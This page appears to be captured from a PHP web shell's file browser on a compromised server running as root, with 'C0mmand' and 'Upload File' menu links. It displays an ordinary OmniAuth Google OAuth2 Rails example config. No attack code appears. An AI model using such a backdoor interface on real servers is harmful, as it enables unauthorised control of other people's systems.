|
Server IP : 161.35.85.9 / Your IP : 216.73.217.138 Web Server : nginx/1.30.4 System : Linux cheapdeb-ams3 7.0.9+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 7.0.9-1 (2026-05-22) x86_64 User : root ( 0) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/doc/ruby-omniauth-google-oauth2/examples/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# frozen_string_literal: true # Google's OAuth2 docs. Make sure you are familiar with all the options # before attempting to configure this gem. # https://developers.google.com/identity/protocols/oauth2 Rails.application.config.middleware.use OmniAuth::Builder do # Default usage, this will give you offline access and a refresh token # using default scopes 'email' and 'profile' # provider :google_oauth2, ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'], scope: 'email, profile' # Custom redirect_uri # # provider :google_oauth2, ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'], scope: 'email, profile', redirect_uri: 'https://localhost:3000/redirect' # Manual setup for offline access with a refresh token. # # provider :google_oauth2, ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'], access_type: 'offline' # Custom scope supporting YouTube. If you are customizing scopes, remember # to include the default scopes 'email' and 'profile' # # provider :google_oauth2, ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'], scope: 'https://www.googleapis.com/auth/youtube.readonly, email, profile' # Custom scope for users only using Google for account creation/auth and do not require a refresh token. # # provider :google_oauth2, ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'], access_type: 'online', prompt: '' end